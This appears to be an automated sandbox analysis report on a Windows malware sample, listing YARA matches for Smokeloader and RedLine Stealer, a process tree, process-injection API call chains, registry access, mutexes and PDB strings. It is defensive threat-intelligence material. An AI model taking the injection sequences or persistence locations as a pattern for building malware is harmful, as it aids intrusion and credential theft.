Source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000009.00000002.384994661.00000000006D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000016.00000002.518252636.000000000059E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000009.00000002.385082783.00000000006F8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.495741535.0000000002140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000A.00000002.503903306.0000000002950000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00881940	10_2_00881940
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00897244	10_2_00897244
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00885B34	10_2_00885B34
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_008770C4	10_2_008770C4
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_006BA8DC	10_2_006BA8DC
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00889622	10_2_00889622
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0088C79C	10_2_0088C79C

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: String function: 0040ACB4 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: String function: 0040A3C0 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: String function: 0040A0C0 appears 300 times
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: String function: 0040AEFC appears 33 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014CF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401400 NtAllocateVirtualMemory,	0_2_00401400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401501 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401501
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401427 NtAllocateVirtualMemory,	0_2_00401427
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014ED NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014F0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014F4 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004013F5 NtAllocateVirtualMemory,	0_2_004013F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040138D NtAllocateVirtualMemory,	0_2_0040138D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402F9D GetModuleFileNameW,ExpandEnvironmentStringsW,CreateFileMappingW,GetWindowThreadProcessId,GetTokenInformation,ShellExecuteExW,NtOpenProcess,NtCreateSection,NtMapViewOfSection,NtAllocateVirtualMemory,NtDuplicateObject,NtQuerySystemInformation,NtQueryInformationProcess,NtOpenKey,NtEnumerateKey,RtlCreateUserThread,strstr,	0_2_00402F9D
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004014CF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014CF
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401400 NtAllocateVirtualMemory,	9_2_00401400
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401501 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_00401501
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401427 NtAllocateVirtualMemory,	9_2_00401427
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004014DB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014DB
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004014ED NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014ED
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004014F0 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014F0
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004014F4 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014F4
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004013F5 NtAllocateVirtualMemory,	9_2_004013F5
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_0040138D NtAllocateVirtualMemory,	9_2_0040138D
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00402F9D CreateFileMappingW,GetWindowThreadProcessId,GetTokenInformation,ShellExecuteExW,NtOpenProcess,	9_2_00402F9D

Source: file.exe	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped
Source: ADCA.exe.1.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped
Source: 5AF.exe.1.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped
Source: dfhwrav.1.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior

Source: 5AF.exe.1.dr

Static PE information: Section: .data ZLIB complexity 0.9896875

Source: file.exe

Virustotal: Detection: 33%

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

graph_10-21266

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\dfhwrav C:\Users\user\AppData\Roaming\dfhwrav
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\ADCA.exe C:\Users\user\AppData\Local\Temp\ADCA.exe
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll,start
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5AF.exe C:\Users\user\AppData\Local\Temp\5AF.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\5AF.exe "C:\Users\user\AppData\Local\Temp\5AF.exe"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\ADCA.exe C:\Users\user\AppData\Local\Temp\ADCA.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5AF.exe C:\Users\user\AppData\Local\Temp\5AF.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll,start	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\dfhwrav

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\ADCA.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@13/9@36/7

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Roaming\dfhwrav

Code function: 9_2_006FC9EE CreateToolhelp32Snapshot,Module32First,

9_2_006FC9EE

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll,start

Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Mutant created: \Sessions\1\BaseNamedObjects\WTfewgNmxpcaVXHKTu
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4912

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: setupapi.pdbf source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp, 5AF.exe, 00000016.00000002.522529716.00000000023B8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdbD source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dohaf\kaxidin\wukoni\wefof\nojeyuve jucahazetozep zisasime.pdb0f source: 5AF.exe, 00000010.00000000.456599162.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, 5AF.exe, 00000016.00000000.482478776.0000000000401000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msctf.pdby source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdbB source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb6 source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdbR source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mpr.pdbA source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb0 source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Qrundll32.pdb source: WerFault.exe, 00000013.00000003.506255817.0000000004740000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000003.489353790.000000000473F000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000003.494807738.000000000473F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Qrundll32.pdb^t source: WerFault.exe, 00000013.00000003.527460296.0000000004740000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000003.527287787.0000000004740000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: 5AF.exe, 00000010.00000002.485930859.0000000000410000.00000040.00000001.01000000.0000000B.sdmp, 5AF.exe, 00000016.00000002.517131758.0000000000410000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\xehalulomuto\5\wacewatolere ciralameko_sunumeginupah\kupuwu.pdb source: ADCA.exe, 0000000A.00000000.410105733.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdbz source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdbt source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 5C:\xehalulomuto\5\wacewatolere ciralameko_sunumeginupah\kupuwu.pdb0f source: ADCA.exe, 0000000A.00000000.410105733.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yepiro_lafonu\vekamogudit62\deney\jef.pdb source: file.exe, 00000000.00000000.243494837.0000000000401000.00000020.00000001.01000000.00000003.sdmp, dfhwrav, 00000009.00000000.369163815.0000000000401000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: propsys.pdb` source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdbB source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdbl source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: IC:\yepiro_lafonu\vekamogudit62\deney\jef.pdb0f source: file.exe, 00000000.00000000.243494837.0000000000401000.00000020.00000001.01000000.00000003.sdmp, dfhwrav, 00000009.00000000.369163815.0000000000401000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdbJ source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netapi32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
